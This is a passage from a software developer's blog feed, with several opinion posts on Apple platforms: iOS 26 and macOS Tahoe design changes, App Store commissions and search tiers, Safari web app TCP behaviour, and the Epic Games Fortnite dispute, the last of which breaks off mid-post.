I've also noticed a crazy new animation with HTML <select> elements on iOS 26. (My Safari extension popup window is HTML, by the way.) First, here's a screen recording of the old animation on my iPhone running iOS 18.

I'm not sure why the popup isn't attached to the button, but at least it appears to come out of the button. Now let's look at the same page on my iPad running iOS 26.

What… in the world was that? The popup is attached to the button this time, which is an improvement, but the popup appears to come not from the button but from the top of the iPad!

I suppose that the defense will be, "It's just a beta!" But the purpose of a beta is to solicit feedback, so this is my feedback.

Other people, some of whom are professional designers, have written extensively and eloquently on the downsides of Liquid Crass, more extensively and eloquently than I'm capable of as a mere code monkey. I'm not going to write a dissertation on the subject; I never even finished my PhD dissertation. I just wanted to point out some Safari-adjacent issues, an area in which I specialize. To be honest, I also wanted to coin and promulgate the term Liquid Crass.

]]>
Apple in China, Ripoff in Amazon https://lapcatsoftware.com/articles/2025/6/5.html 2025-07-06T14:00:00Z 2025-07-06T14:00:00Z This morning I was looking for something to read after I finish Funny Because It's True: How The Onion Created Modern American News Satire by Christine Wenc—a nostalgic book for me, because I attended the University of Wisconsin at Madison precisely when The Onion newspaper was founded here—and I decided to follow it up with Apple in China: The Capture of the World's Greatest Company by Patrick McGee. Usually I try to avoid shopping on Amazon, averaging less than one purchase per year there, but unfortunately the nearby Barnes & Noble doesn't have a copy of the book, so I searched for it on Amazon. Here's what I found:

Amazon.com: Apple in China

The first result was indeed the book that I was searching for. The second was not, but it's still notable:

Amazon.com: Apple in China: The Capture Of The World's Greatest Technology eBook: Shamsan, CyberWave: Kindle Store

Available only on Kindle, this publication has the same title and subtitle as the famous book except for the last word: "Technology" in place of "Company". The author is a self-described aspiring cybersecurity specialist, which I take to mean not a cybersecurity specialist, with nom de plume CyberWave Shamsan, who by the way has no other publications on Amazon. According to Google, CyberWave Shamsan does not exist:

CyberWave Shamsan - Google Search

The publication date of this eBook is June 24, 2025, in other words, last week.

Whatever services that Amazon provides to customers in its store, policing scams appears not to be one of those services. Of course, the same applies to Apple in its crApp Store, as I've complained ad nauseam on this blog and on social media.

]]>
App Store search is not a user feature https://lapcatsoftware.com/articles/2025/6/4.html 2025-06-27T15:15:00Z 2025-06-27T15:15:00Z Yesterday Apple announced Updates for apps in the European Union, because the EU determined that Apple's previous app developer policies were not in compliance with the Digital Markets Act. The new policies represent Apple's proposal for compliance; the EU still needs to solicit feedback on the policies from third-party developers as an essential part of the DMA compliance process.

As an App Store developer myself, I find the new App Store terms to be convoluted. I don't fully understand them, and I'm far from the only one who feels this way. I'm also far from the first to suggest, cynically, that confusion was Apple's intention, to pull a fast one on developers, the news media, the public, and perhaps most importantly, on EU administrators. However, my intention in this blog post is not to engage in a detailed, extensive analysis of the new policies but rather to highlight one aspect of the changes that I found striking: searching for apps in the App Store.

Apple's new policies divide App Store developer services into two tiers:

By default, apps on the App Store are provided Store Services Tier 2, the complete suite of all capabilities designed to maximize visibility, engagement, growth, and operational efficiency. Developers with apps on the App Store in the EU that communicate and promote offers for digital goods and services can choose to move their apps to only use Store Services Tier 1 and pay a reduced store services fee.

App Store developers in Tier 1 pay a 5% commission on transactions, whereas developers in Tier 2 pay a 13% commission, or 10% for members of the Small Business Program. There's an additional "initial acquisition fee" of 2% (0% for Small Business Program members), as well as a "Core Technology Fee" of €0.50 for apps that exceed 1 million first annual installs per year.

The list of store services excluded from Tier 1 is, uh, interesting. It's just incredibly petty that Tier 1 developers cannot generate App Store promo codes. But what I want to discuss here is App Store search. Tier 1 includes "Search - Exact match" and "Language translation in search". Tier 1 excludes the following: "Search - Broad match", "Search suggestions", "Natural language search", and "Search hints".

At this point, it's unclear what exactly is meant by "Exact match". For example, my main app is named StopTheMadness Pro. So what would happen if an App Store user searched for "StopTheMadness" without the "Pro"? Would the App Store show my app, or would it show no results (or worse, show other apps)? Would correct capitalization matter, i.e., "StopTheMadness Pro" vs. "stopthemadness pro" or "Stopthemadness Pro"? How exactly would exact match have to match? And what about "Stop The Madness Pro", with spaces that don't appear in the official app name? My App Store keywords include "stop the madness", by the way, though it sounds like keywords would not be utilized in Tier 1.

What I found striking about the search differences between Tier 1 and Tier 2 is that in creating this distinction, Apple clearly considers App Store search to be a developer feature rather than a user feature. In other words, the user's interest in finding an app via search is disregarded, and Apple is willing to be less helpful to users to the extent that app developers pay a lesser commission to Apple. A common talking point in defense of Apple's App Store lockdown on iOS is that the App Store is supposed to be for the benefit of users rather than developers. Apple's new policies give the lie to that notion.

From my own perspective, it's been obvious for a long time that the App Store is intended primarily for Apple's own financial benefit rather than the benefit of Apple users. Here's an App Store exact match search for my app:

StopTheMadness Pro

The top search result is not my app. It's an advertisement for an unrelated app with a completely different name, Blip Delivery. App Store Search Ads were introduced in 2016, and it's difficult to argue that Search Ads benefit App Store users or App Store developers. Apple's financial benefit is clear: developers have to pay Apple for top placement in search results, and in this way Apple can monetize even free apps in the App Store who don't pay a commission to Apple. Other the other hand, App Store users receive irrelevant search results, and App Store developers lose downloads and sales to advertisers.

The App Store is often compared to physical retail stores. In reality, the App Store is not only fundamentally different than retail stores—how many retails stores allow you to walk out with most of its products without paying anything?—but also much worse than retail stores in a number of ways. Retail stores are typically more helpful to customers than the App Store. If you ask a retail store clerk for a specific product by name, the clerk will almost always attempt to find that very product for you. If the retail store attempts to steer you toward a different product instead, that would be considered a bait and switch scheme. Yet bait and switch, via Search Ads, appears to be the everyday practice of the App Store! In my opinion, Search Ads are business fraud normalized.

Many people argue that Apple has a legal right to monetize the App Store. This may or may not actually be true in the European Union, and the ongoing litigation between Epic Games and Apple raises doubts about the United States too, but I Am Not A Lawyer, and I don't wish to argue over legalities. What I do wish is that these people would just admit that the App Store is all about making a profit for Apple and has little to do with protecting Apple users, which has been the nominal defense of App Store lockdown from the beginning. If users can't even rely on App Store search, what can they rely on?

]]>
Safari web app strange connection behavior https://lapcatsoftware.com/articles/2025/6/3.html 2025-06-23T15:15:00Z 2025-06-23T15:15:00Z Safari web apps arrived in macOS 14 Sonoma. To create a web app, you load a website in Safari and then select the Add to Dock command from the File menu.

Add to Dock

Safari web app support for web extensions—but not for app extensions like StopTheMadness Pro!—was added in macOS 15 Sequoia. WWDC 2025 has now come and gone without adding Safari app extension support. (The WWDC betas did add Safari web apps to iOS and iPadOS, but they don't support Safari extensions at all, unfortunately.) Since Apple didn't help me out, I've decided to take matters into my own hands and start working on a Safari web extension accessory to StopTheMadness Pro. I'm not making any promises, and you should treat my announcement as vaporware, but still… my project is very far along.

Anyway, I've been testing Safari web apps extensively, and I've noticed a strange behavior. Safari web apps are inherently strange, because they open cross-site links in your default web browser instead of in the web app, but that's not the strange behavior I'm talking about here. Specifically, the strange behavior is what happens at the TCP level when a Safari web app opens a cross-site link.

I created a Safari web app for my business website (underpassapp.com). The front page of my business website includes a link with my name to my personal website (lapcatsoftware.com), this very website on which you're reading this very blog post.

Underpass App Company.app

When I click on the link to my personal website, the Safari web app opens the URL in my default web browser (which is my app Link Unshortener, by the way). However, the Safari web app also directly opens a TCP connection to the URL, as shown by Little Snitch.

Underpass App Company wants to connect to lapcatsoftware.com on TCP port 443 (https)

Practically speaking, it doesn't actually matter whether you allow or deny this connection, because allowing the connection doesn't cause the URL to open in the Safari web app, and denying the connection doesn't prevent the URL from opening in your default web browser.

You might speculate that the Safari web app is checking for an internet route to the website before it opens the URL in your default web browser, but nope, that's not what's happening. If I permanently deny all connections from the Safari web app to lapcatsoftware.com in Little Snitch, so that the connections are rejected immediately when attempted, the Safari web app still opens the URL in my default web browser.

deny lapcatsoftware.com (TCP, https), allow underpassap.com (TCP, https)

As far as I can tell from packet traces, the Safari web app never sends HTTP requests over the internet during the phantom connections. It simply sends and receives some TCP packets before closing the connection. Thus, the strange behavior looks to me like a bug. In fact it looks similar to a WebKit bug I filed a few months ago: "WKWebView opens a TLS connection before calling decidePolicyForNavigationAction (and despite it returning WKNavigationActionPolicyCancel)." However, that bug applies only to encrypted https connections, whereas the Safari web app bug happens with both https and unencrypted http connections.

I don't really know what to make of the strange Safari web app behavior. Is it a privacy issue? Maybe, or maybe not. In any case, I thought the behavior was interesting and worth noting publicly. The world wide web can now debate whether it's a nothingburger or a somethingburger. Have it your way!

]]>
macOS Tahoe forces all app icons into iOS squircles https://lapcatsoftware.com/articles/2025/6/2.html 2025-06-11T16:40:00Z 2025-06-11T16:40:00Z At WWDC 2018, Apple Senior Vice President of Software Engineering Craig Federighi asked, "Are you merging iOS and macOS?" This rhetorical question was presumably in response to widespread criticism. Federighi's rhetorical answer was, "No. Of course not."

Yet seven years later at WWDC 2025, Apple's plans appear more transparent than ever (yes, that's a pun about Liquid Glass): the critics were correct that iOS and macOS are merging. The latest evidence of this merger is the appearance of app icons in the macOS 26 Tahoe developer beta. All Mac app icons are now forced into iOS-style squircles. This change affects not only Apple's own apps but also third-party apps; if an app icon is not already a squircle, macOS automatically draws it inside a gray squircle. Here's the venerable BBEdit:

BBEdit app icon on Tahoe
Google Chrome:
Google Chrome app icon on Tahoe
BetterSnapTool:
BetterSnapTool app icon on Tahoe
Find Any File:
Find Any File app icon on Tahoe
Hex Fiend:
Hex Fiend app icon on Tahoe
And my own apps StopTheScript, StopTheMadness (non-Pro), Underpass, Bonjeff:
StopTheScript app icon on Tahoe
StopTheMadness app icon on Tahoe
Underpass app icon on Tahoe
Bonjeff app icon on Tahoe
Even some of Apple's built-in apps get the gray squircle, such as Script Editor and Migration Assistant:
Script Editor app icon on Tahoe
Migration Assistant app icon on Tahoe

The automatic squircling on macOS Tahoe is enforced in Finder, in open panels, and even in Safari Extensions Settings:

ExtensionsSettings

The macOS Tahoe app icon squircling is a pain and a cost for indie developers like me and the others shown above. I'm not a professional designer, so I have to pay one whenever I need a new app icon. (Lately my designer has been Matthew Skiles.) In some cases, that's not worth the investment. For example, Bonjeff is a free, open source app, so I don't want to pay anything; indeed the current app icon was donated to the project. My app Underpass was discontinued and removed from the App Store almost four years ago due to very low sales, as well as some OS changes by Apple; however, I still use the app myself, and perhaps some previous customers do too. The non-Pro version of StopTheMadness is now obsolete and has been superseded by StopTheMadness Pro, so I'm definitely not going to make a new icon for the old app. And although I'm committed to supporting StopTheScript into the future, its App Store sales are unfortunately pretty low, so I'm reluctant to spend more money on it.

To avoid automatic squircling, Apple with its practically limitless budget for designers has given some of its built-in apps new (uglified) squircle icons. Compare these app icons on Sequoia and Tahoe:
Image Capture app icon on Sequoia Image Capture app icon on Tahoe
Preview app icon on Sequoia Preview app icon on Tahoe
TextEdit app icon on Sequoia TextEdit app icon on Tahoe
Disk Utility app icon on Sequoia Disk Utility app icon on Tahoe
Automator app icon on Sequoia Automator app icon on Tahoe
Do not look Otto directly in the eye, or you will be exterminated!

And then there's Finder:

Finder app icon on Sequoia Finder app icon on Tahoe

Let that be our last battlefield.

Star Trek episode Let That Be Your Last Battlefield

The most bizarre phenomenon on Tahoe, though, is that newer app icons are automatically applied to older apps. I can see this on my Mac mini, which has four boot volumes installed, going back to macOS 12 Mojave. Here's Xcode version 14.2, showing the app icon for the new Xcode version 26.0 beta:

Xcode app icon on Tahoe

I suspect that the Launch Services framework on Tahoe is looking up the app icon by the bundle identifier of the app, which is identical for the new and old versions of Xcode.

Let's ask Apple again, are you merging iOS and macOS? Well, look at the new Icon & widget style in macOS Tahoe Appearance System Settings (an app which infamously was redesigned based on iOS Settings—and don't even get me started on the new Xcode 26 Settings window):

Appearance System Settings

Does that look familiar? But don't worry, the changes in macOS Tahoe are all worth it, because now you can make your Dock do this:

Dock
]]>
Why does Apple make a minority of developers finance the entire App Store? https://lapcatsoftware.com/articles/2025/6/1.html 2025-06-05T16:37:00Z 2025-06-05T17:45:00Z Today, Apple announced a self-funded study titled Global App Store helps developers reach new heights, supporting $1.3 trillion in billings and sales in 2024, but what interested me more was the subtitle:

For more than 90 percent of the billings and sales facilitated by the App Store ecosystem, developers did not pay any commission to Apple

In the same announcement, Apple brags at length about its "Investment in Developers":

Apple invests in tools and capabilities that make it easier for developers to distribute their apps and games, be discovered by users around the globe, and grow successful businesses.

When you put these two claims together, it follows logically that most of the billings and sales facilitated by the App Store ecosystem take advantage of Apple's investment without paying any commission to Apple.

The positive tone of today's announcement is in stark contrast to an Apple statement from 2019 addressing Spotify's claims:

After using the App Store for years to dramatically grow their business, Spotify seeks to keep all the benefits of the App Store ecosystem — including the substantial revenue that they draw from the App Store’s customers — without making any contributions to that marketplace.

Of course, even at that time, six years ago, there was a fundamental distinction between apps that had to pay a commission and apps that didn't, so Apple needed to explain and justify the distinction somehow:

A full 84 percent of the apps in the App Store pay nothing to Apple when you download or use the app. That’s not discrimination, as Spotify claims; it’s by design:
  • Apps that are free to you aren’t charged by Apple.
  • Apps that earn revenue exclusively through advertising — like some of your favorite free games — aren’t charged by Apple.
  • App business transactions where users sign up or purchase digital goods outside the app aren’t charged by Apple.
  • Apps that sell physical goods — including ride-hailing and food delivery services, to name a few — aren’t charged by Apple.
The only contribution that Apple requires is for digital goods and services that are purchased inside the app using our secure in-app purchase system.

It makes sense that Apple would charge a commission for using its In-App Purchase system, as well as its In-App-Store purchase system, for the small minority of apps (like mine) that are upfront paid. I don't think anybody objects to that. The objection is that Apple forces some developers—but not others!—to use its purchase system. Indeed, Apple has fought tooth and nail to preserve its authority to impose Apple IAP on third-party developers, relenting only when forced by governments, for example as a result of the European Union Digital Markets Act or a recent United States district court injunction. Apple continues to appeal these legal decisions.

I've always been baffled about why a small minority of developers, including small indie developers like me, are required to finance the App Store ecosystem for every developer, including the developers of "free" apps that nonetheless generate billions of dollars per year from billings and sales. Why is Apple's IAP not required for all purchases in all App Store apps? It's difficult for me to see a principled distinction between the apps that have to use Apple IAP and the apps that don't. It seems completely arbitrary. Apple made a big deal about Spotify not making "contributions to that marketplace," yet Apple also openly (and hypocritically) admits that most of the financial transactions that occur in App Store apps are not contributing to that marketplace either. There are a lot of "free riders" in the App Store.

It's true that I and other members of the App Store Small Business Program, who make less than $1 million per year in the App Store, currently pay only a 15% commission rather than a 30% commission. This was not always true: the Small Business Program didn't open until 2021, as a result of the settlement of a court case, Cameron, et al. v. Apple Inc. In the 12+ years of the App Store between 2008 and 2020, the smallest indie developers paid the same 30% commission as the largest corporate developers. By the way, from a legal perspective, the Small Business Program could end soon, as early as next week! From the final settlement approval filed June 10, 2022:

In terms of structural relief, under the Settlement, Apple has agreed to maintain the 15- percent commission tier for U.S. developers enrolled in the Small Business Program for at least three years after Final Approval.

It's extremely unlikely that Apple would (further) enrage developers by announcing the end of the App Store Small Business Program next week at WWDC, but I wouldn't be surprised to see it discontinued before the end of this year. Some people claim that Apple was going to introduce the Small Business Program anyway, but Apple has stated on the legal record that the court case "was a factor."

On January 1, 2021, Apple introduced the App Store Small Business Program (“SBP”). The structure and timing of the SBP was driven by Apple’s desire to accelerate innovation and help propel small businesses forward with the next generation of groundbreaking apps on the App Store, in light of the Coronavirus pandemic. Apple also acknowledges that the pendency of this lawsuit was a factor in its decision to adopt the SBP.

Furthermore, the other factor was stated to be "the Coronavirus pandemic," but that's over now too, so from Apple's own perspective, none of the original motivations remain.

Let's return from the aside of the App Store Small Business Program to the central issue of free riders in the ecosystem. The App Store has often been compared to a retail store, but in a number of respects it's unlike any retail store in the world. Again, most App Store apps are free to download and use, which is "by design," according to Apple. Which retail stores allow you to walk out of the store with 84% of their products while paying nothing to the store owner? You'd be arrested immediately for shoplifting! In general, every product in a retail store is paid upfront by the consumer. Sometimes grocery stores have a few free samples, but that's about it. For very expensive products, such as furniture, you can purchase them on a financing plan, making payments over a number of months, but you're still required to sign legal documents making yourself liable for the entire amount before you walk out of the store with the products. There's no such thing as "free" here. And there's no such thing as In-Product Purchase. You don't take home a refrigerator or a couch and then make purchases inside the refrigerator or couch (though some of your loose change may fall under the couch cushions).

It's also worth noting that retail stores usually purchase their stock upfront, either from a wholesaler or from the manufacturer. Thus, there's no "commission" or "percentage" paid by the manufacturer. Rather, the retail store places a markup on the products in order to make a profit on sales. Commissions and percentages are more applicable to consignment stores, often reselling used goods, than to retail stores selling new goods. In any case, every product in a retail store or in a consignment store makes "contributions to that marketplace." There are no free riders. You don't have a situation where 90% of the sellers get to benefit from the store while the store itself gets nothing in return from those 90%.

Whenever Apple or Apple apologists claim that App Store commissions are required in order to finance the iOS platform, it's nonsense. To be clear, I have no objection to Apple having an App Store, and for placing requirements on App Store developers. What's unique about the iOS platform, though, is that the App Store is the sole method of distribution for third-party software. This is unlike the Mac, and the Apple II before that; iOS was an anomaly in Apple's long computing history. (Remember also that you could "sideload" your own music onto an Apple iPod.) There's a Mac App Store—sadly, a neglected clone of the iOS App Store, which was itself a clone of the iTunes Music Store—but using the Mac App Store is optional for Mac developers, and many of them opt out of the Mac App Store, choosing to distribute software independently. As an App Store developer myself, I can tell you that the Mac App Store generates a lot less revenue than the iOS App Store. To be fair, my own App Store apps generate approximately equal revenue on the iOS and Mac App Stores; the difference is that I'm relatively high in the top charts in the Mac App Store (at least for upfront paid apps), whereas I'm not even remotely in the vicinity of the top charts in the iOS App Store. Most of the billions of dollars per year generated by the App Store come from iOS. So the question is, given that the Mac App Store is optional for developers and not particularly lucrative for Apple, how does Apple finance the Mac platform?

The answer is obvious: the same way Apple finances the iOS platform, by selling hardware. We know from public quarterly financial reports that Apple makes an ungodly amount of money from hardware. Third-party developer platforms on Apple hardware have always paid for themselves via hardware sales. It was even a marketing slogan: "There's an app for that." Third-party software makes the first-party hardware much more valuable. Remember how VisiCalc was the "killer app" on the Apple II? Apple made $0 directly from VisiCalc but made a lot of money indirectly by selling computers to VisiCalc users. Imagine if iPhone had no third-party software: Google and Android would absolutely eat Apple's lunch. The iOS platform is not just a competitive advantage but a competitive requirement.

As I see it, there are two fundamental problems with the iOS App Store and In-App Purchase mandates. (1) Apple is "double-dipping" on developers, benefitting in two separate ways from their software, both indirectly from increased hardware sales and directly from App Store sales. (2) The IAP mandate applies only to a small minority of developers, who are forced to (allegedly) support the ecosystem for the benefit of the majority, who are free riders. And the worst part is that small indie developers are paying the "Apple tax" to finance corporate welfare for a bunch of wealthy app developers.

]]>
Insane web design on apple dot com https://lapcatsoftware.com/articles/2025/5/8.html 2025-05-31T16:13:00Z 2025-05-31T16:13:00Z I was testing font replacement with my web browser extension StopTheMadness Pro on https://www.apple.com, but for some reason the feature wasn't working as expected. The fonts were replaced everywhere on the web page except for in the navigation header at the top. The Safari web inspector revealed why (click image for full size):

The link labels are not text but rather Scalable Vector Graphics (SVG) images! Here's an example, copy and pasted from apple dot com:

Eagle-eyed readers may have noticed that in the DOM after the image there's an HTML <span> element containing the actual text. However, that element is only 1 pixel wide and thus not visible, as you can (not) see if I edit the HTML and hide the svg with a CSS style attribute:

I'm guessing that the <span> with text that's not visible with the naked eye is in the DOM for accessibility and screen readers.

I have to admit, I don't understand the purpose of this bizarre indirection, and if it's "best practice" in modern web design for some reason, I'm glad that I'm not a web designer. My career now, as an extension developer, is more or less fighting against web designers.

]]>
Stop The Mac App Store minor update https://lapcatsoftware.com/articles/2025/5/7.html 2025-05-27T17:15:00Z 2025-05-27T17:15:00Z Stop The Mac App Store is my free, open source Mac app that stops Safari from automatically opening the App Store app from the web. Stop The Mac App Store achieves this with a very simple but devious trick: pretending to be the App Store app. As a side effect, Stop The Mac App Store opens when you select App Store from the Apple menu.

Apple menu in the main menu bar

I've just released version 2.1 of Stop The Mac App Store, a minor update with only one change: the app now automatically quits after you press the Mac App Store button in the main window.

Stop The Mac App Store main window

Before this change, if you opened Stop The Mac App Store app from the Apple menu, and then opened the real App Store app, Stop The Mac App Store would remain open in the background—a minor but annoying issue, now resolved.

In most cases, Stop The Mac App Store already quit automatically, after it opens an App Store URL in the real App Store app; however, the Apple menu attempts to open the App Store app with no specific URL, which is why Stop The Mac App Store behaves differently in this case.

]]>
Apple Turntable https://lapcatsoftware.com/articles/2025/5/6.html 2025-05-21T18:18:00Z 2025-05-21T18:18:00Z John Siracusa has recently written a couple of noteworthy articles titled Apple Turnover and Apple Turnaround. Although I mostly agree with the sentiments expressed by those articles, I'm much more pessimistic than Siracusa, who says, "It’s springtime, and I’m choosing to believe in new life. I swear it’s not too late." The title of my article, Apple Turntable—a less clever riff on its inspirations—signifies that I believe Apple is a broken record. In other words, it's too late. My thesis is relatively simple: Apple, as a publicly owned corporation, is incapable of selecting a CEO who can follow Siracusa's dictum, "Don’t try to make money. Try to make a dent in the universe."

What made Apple special in the first place, why did Apple "Think Different", as it were? I would say that this was due to Apple's cofounders, Steve Jobs and Steve Wozniak. These two individuals were special not only for what they were but perhaps more importantly for what they weren't, i.e., MBAs. It's common for corporate CEOs to have a Master of Business Administration degree, and indeed Apple CEO Tim Cook has one, yet it's rare for a corporation like Apple to be founded by MBAs. Ironically, the type of person who goes to business school seems not to be the type of person who starts a business. Steve Wozniak was a brilliant engineer, without whom Apple would not have been possible. Steve Jobs, in contrast, was not a hardware engineer, not a software engineer, not even a designer (and no, taking a single calligraphy course in college did not make him a designer). Woz could have started a computer company without Jobs, whereas Jobs could not have a started a computer company without Woz. To be sure, Jobs was smart, driven, and prescient, but he was nonetheless just a technology enthusiast who had the incredible luck, while still in high school, of being introduced by a friend to Woz. I'm not intending here to insult Jobs; to the contrary, how else would a technology enthusiast, rather than an MBA, come to lead a technology company, except with the help of someone like Woz? That's what we want, a leader whose primary goal is to make cool stuff.

Unfortunately, Jobs and Woz lost control of the company they founded as soon as they went public. Unlike Mark Zuckerberg, the founder of Facebook, Jobs and Woz did not make special legal arrangements to maintain majority voting power over the company despite minority ownership of the total company shares. For better or worse, Facebook/Meta has always and will always reflect Zuck's personal values (such as they are). At Apple, the lack of power of the cofounders was demonstrated clearly in 1985 when then-CEO John Sculley formulated a plan to remove Jobs from the Macintosh group, and Jobs formulated a plan to replace Sculley as CEO, a conflict that ended with the Apple board of directors backing Sculley over Jobs and the subsequent resignation of Jobs from Apple.

According to John Siracusa, "From virtue comes money, and all other good things. This idea rings in my head whenever I think about Apple. It’s the most succinct explanation of what pulled Apple from the brink of bankruptcy in the 1990s to its astronomical success today." This story may be true, superficially, but I think it omits something crucial to understanding Apple in the 1990s: while Siracusa's principle may have personally guided Steve Jobs, it did not guide the Apple board of directors. How exactly did Jobs become Apple CEO? Without Jobs, Apple had struggled and failed to build its own modern replacement for the classic Macintosh operating system. Consequently, the flailing company had to resort to outside acquisition. The two main options were both from former Apple employees: BeOS, owned by Jean-Louis Gassée, and NeXTSTEP, owned by Steve Jobs. Ultimately, Apple decided to go with NeXTSTEP. Infamously, Jobs sold all of the Apple stock that he received from the acquisition, stating that he had no confidence in the current Apple leadership. In retrospect, the stock sale costed Jobs a lot of money. (He eventually became a billionaire not from NeXT or Apple but rather from a separate investment, when his film company Pixar was acquired by Disney.) On the other hand, this stock sale may have contributed to the Apple slump that costed CEO Gil Amelio his job and allowed Jobs to be named interim CEO.

When Jobs first became Apple CEO, the company was experiencing a financial crisis, teetering toward bankruptcy. As Siracusa said, "There’s an old adage: never let a good crisis go to waste. When things get bad, people are more open to changes they previously wouldn’t consider." In 1985, Apple refused to consider Jobs as CEO, but the company was ready to reconsider in 1997. However, it would be naive to believe that during this financial crisis, the Apple board of directors was persuaded by "Don’t try to make money." Apple was desperate for money. Jobs convinced the board of directors that he had a plan to turn around Apple financially, and in fact his plan succeeded beyond all expectations. Jobs achieved his corporate power by delivering returns to investors. If the board of directors had been committed to the personal principles of Jobs, they never would have allowed him to leave in the 1980s. Investors are committed to profits and nothing else.

Fast-forward to the present, and the Tim Cook era. While many developers and customers have fallen out of love with Apple, only grudgingly sticking with Apple's products as the lesser of evils, investors remain happy and loyal. Just a few weeks ago, billionaire Warren Buffett, a longtime Apple stockholder, offered his highest praise: "I’m somewhat embarrassed to say that Tim Cook has made Berkshire a lot more money than I’ve ever made Berkshire Hathaway." Look at a list of Apple's largest stockholders, including Berkshire Hathaway, Vanguard Group, BlackRock, and State Street Corp, the ones who control the company and the board of directors. Do you seriously believe that any of them care about anything other than money? The one and only purpose of these investors is to make a profit on their investment. Thus, even if Tim Cook decided to retire, they would never name a new CEO whose top priority wasn't profit.

Steve Jobs was an historical aberration. He and Woz, neither MBAs, selected themselves to found a company and establish its culture. Years later, Jobs was able to return and reinvigorate the company's culture only via a fortuitous (for him) set of circumstances in which he was selected as the CEO of last resort. But when Jobs died, everything that made Apple special eventually withered and died too. Without Jobs as a protector, Scott Forstall was soon ousted under the pretense of Apple Maps. Tim Cook asserted his control over the company, putting his own personnel in place, and now his authority is absolute. Even those few others who remain from the Jobs era, such as "Apple Fellow" Phil Schiller, are overridden by Cook, as we learned recently from the Epic Games v. Apple court case, which revealed that Schiller had argued internally for Apple to relent on its App Store revenue demands. Cook ignored Schiller's plea, and as the judge said, "Cook chose poorly." I would submit, though, that Cook chose exactly what the Apple stockholders wanted him to choose. Perhaps Apple would have a better reputation and elicit more love if the company didn't drive to maximize so-called "services" revenue, but it's not clear to me that Apple would be more profitable in that case. It's possible for a company to be successful, and make a profit, without trying to maximize profit, but I've seen no empirical evidence that companies can maximize profit without trying to maximize profit. And at the end of the day, maximizing profit is the goal of the owners of publicly held corporations. That's not a sign the corporation has lost its way. It's actually a sign that the corporation is working as intended, by the investors. From a purely financial perspective, Tim Cook has been a much "better" CEO than Steve Jobs. The Apple board of directors, unlike John Siracusa, is not looking forward to a "turnover" or a "turnaround".

]]>
Apple is not blocking Epic Games from updating Fortnite in the European Union https://lapcatsoftware.com/articles/2025/5/5.html 2025-05-19T16:05:00Z 2025-05-19T18:05:00Z I'm an App Store developer, and for the sake of all developers, I hope that Epic Games prevails in court against Apple. Nonetheless, I personally value truth and honesty above my financial interests, and thus I have a problem with some of the statements made by Epic Games and its CEO Tim Sweeney on the social media service formerly known as Twitter. These tweets, as they are still called, have given many people the impression that Apple is indefinitely blocking Epic Games from updating its iPhone app Fortnite in the European Union, where it's available in an alternative marketplace outside the App Store, as prescribed by the EU Digital Markets Act. I'll cite several sources, including court documents and Apple's developer documentation, to show that Epic Games could still update Fortnite in the EU, if they chose to do so.

On May 16, the official Fortnite account tweeted:

Apple has blocked our Fortnite submission so we cannot release to the US App Store or to the Epic Games Store for iOS in the European Union. Now, sadly, Fortnite on iOS will be offline worldwide until Apple unblocks it.

In response, Apple provided a short statement to Bloomberg, tweeted by Mark Gurman:

Apple: We asked that Epic Sweden resubmit the app update without including the US storefront of the App Store so as not to impact Fortnite in other geographies. We did not take any action to remove the live version of Fortnite from alternative distribution marketplaces in the EC

Later—that evening in the US, the next day in the EU—the Epic Games Newsroom account tweeted:

Yesterday afternoon, Apple broke its week-long silence on the status of our app review with a letter saying they will not act on the Fortnite app submission until the Ninth Circuit Court rules on the partial stay. We believe this violates the Court’s Injunction and we have filed a second Motion to Enforce Injunction with the US District Court for the Northern District of California.

We’ve been transparent with Apple about our intentions while they’ve used app review and notarization as a pretext to circumvent the Court’s injunction and the EU Digital Markets Act. Apple’s “solution” required us to submit two versions of Fortnite, in violation of their guideline that developers shouldn’t submit multiple versions of the same app. That’s not the standard Apple holds other developers to and it’s blocking us from releasing our update in the EU and US. Apple is again retaliating against Epic for challenging the legality of their anticompetitive behavior and we will fight on.

Read the filing here. https://fn.gg/May16EpicFiling

And then:

Here’s the letter we received from Apple on May 15th: https://fn.gg/May15AppleLetter

Without the link shorteners, the documents are at https://cdn2.unrealengine.com/05-16-25-epic-games-filing-16f7f43cb85d.pdf and https://cdn2.unrealengine.com/05-15-25-letter-from-apple-14bad27bb985.pdf respectively.

On May 17, Tim Sweeney tweeted:

Apple is currently blocking Epic Games Sweden’s Fortnite notarization despite finding no rule violations, while demanding we revoke our Fortnite submission to the US App Store. We are going back to US court to argue that Apple is again violating the injunction.

And then:

As a result, Fortnite is offline on iOS in the European Union indefinitely despite being distributed through the Epic Games Store there. Apple’s abuse of its interlocked web of controls shows that any notarization process must be in the hands of an independent body.

If you're confused, it's understandable. I was confused too! The key to understanding the situation is to go beyond the pithy PR statements of Apple and Epic. We have a puzzle with some missing pieces, because each of the warring parties presents only the information intended to make them look good, omitting details that might make them look worse.

Let's look at Apple's developer document about submitting apps for notarization in the European Union:

If you’ve opted into alternative distribution for customers in the European Union, you can choose to make your app version eligible for distribution on alternative app marketplaces or websites only by selecting to have it evaluated based on the Notarization Review Guidelines (a subset of the App Review Guidelines). Otherwise, App Review uses App Review Guidelines to evaluate your app version to make it eligible for distribution on the App Store, alternative app marketplaces, and websites if approved.

The instructions in this document include a screenshot (click for full size) of App Store Connect, the website that developers use to manage App Store submissions:

Screenshot

The Review Type dialog in the screenshot explains the difference:

You can choose to submit this app version for the following types of review.

  • App Store
    This version will be evaluated against App Store Review Guidelines. Approved versions can be distributed through the App Store and alternative distribution.
  • Notarization
    This version will be evaluated against Notarization Review Guidelines. Approved versions can be distributed through alternative distribution.

Until this month, Epic Games had used the Notarization option to distribute Fortnite in the EU. On May 9, Epic submitted an update to Fortnite using the App Store option, as announced by a tweet:

We’ve submitted Fortnite to Apple for review so we can launch on the App Store in the U.S.

Technically, there's a separate App Store for each country in the world in which the App Store is available. App Store developers can choose which countries to support. In most cases, developers distribute their apps worldwide, but in this case Epic appears to have selected only the United States App Store, presumably because of the US District Court order on April 30 that allows App Store apps to link to outside purchase methods without restrictions or fees. Since the court's jurisdiction is the US, the court order applies only to the US App Store, just as the Digital Markets Act applies only to the EU.

As noted in the court order, Apple had actually terminated Epic's US developer accounts several years ago:

Apple declined to reinstate Epic’s developer account after this Court held in its Order that Epic had breached the DPLA. See Epic Games, Inc., 67 F.4th at 999.

The DPLA is the Apple Developer Program License Agreement. The court order reiterates that Epic violated the DPLA, thus entitling Apple to legal relief, which may include recovering attorneys' fees from Epic. The order also states that Epic's legal standing in the case doesn't depend on having an Apple developer account:

